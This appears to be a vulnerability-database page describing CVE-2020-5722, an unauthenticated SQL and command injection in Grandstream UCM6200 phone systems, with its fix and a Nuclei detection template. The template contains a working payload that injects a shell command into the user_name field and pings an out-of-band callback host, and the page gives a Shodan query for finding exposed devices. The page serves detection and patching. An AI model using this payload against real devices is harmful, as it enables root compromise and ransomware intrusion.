Grandstream UCM6200 - SQL Injection

Exploited in the wild. Listed by CISA on 2022-01-28; known to be used by ransomware.

criticalseverity

9.8CVSS score

84.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17.

Impact

Attackers can execute root shell commands or inject malicious HTML, leading to full device compromise or phishing attacks.

Fix

Update to version 1.0.19.20 or later for root command execution fix, and version 1.0.20.17 or later for email injection fix.

How to confirm it

Send: POST /cgi?
Positive when: status_code == 200 and contains(header, "application/json") and interactsh_protocol == "dns"

Run it with nuclei: nuclei -id CVE-2020-5722 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5722

info:
  name: Grandstream UCM6200 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17.
  impact: |
    Attackers can execute root shell commands or inject malicious HTML, leading to full device compromise or phishing attacks.
  remediation: |
    Update to version 1.0.19.20 or later for root command execution fix, and version 1.0.20.17 or later for email injection fix.
  reference:
    - https://threatprotect.qualys.com/2020/04/01/grandstream-ucm62xx-remote-code-execution-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5722
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5722
    epss-score: 0.84287
    epss-percentile: 0.99701
    cwe-id: CWE-89
  metadata:
    verified: false
    max-request: 1
    shodan-query: 'ssl:"Grandstream" "Set-Cookie: TRACKID"'
  tags: cve,cve2020,grandstream,sqli,rce,vuln,kev,vkev

http:
  - raw:
      - |
        POST /cgi? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 87

        action=sendPasswordEmail&user_name=admin'+or+1=1--`;`ping${IFS}{{interactsh-url}}`;`

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'interactsh_protocol == "dns"'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from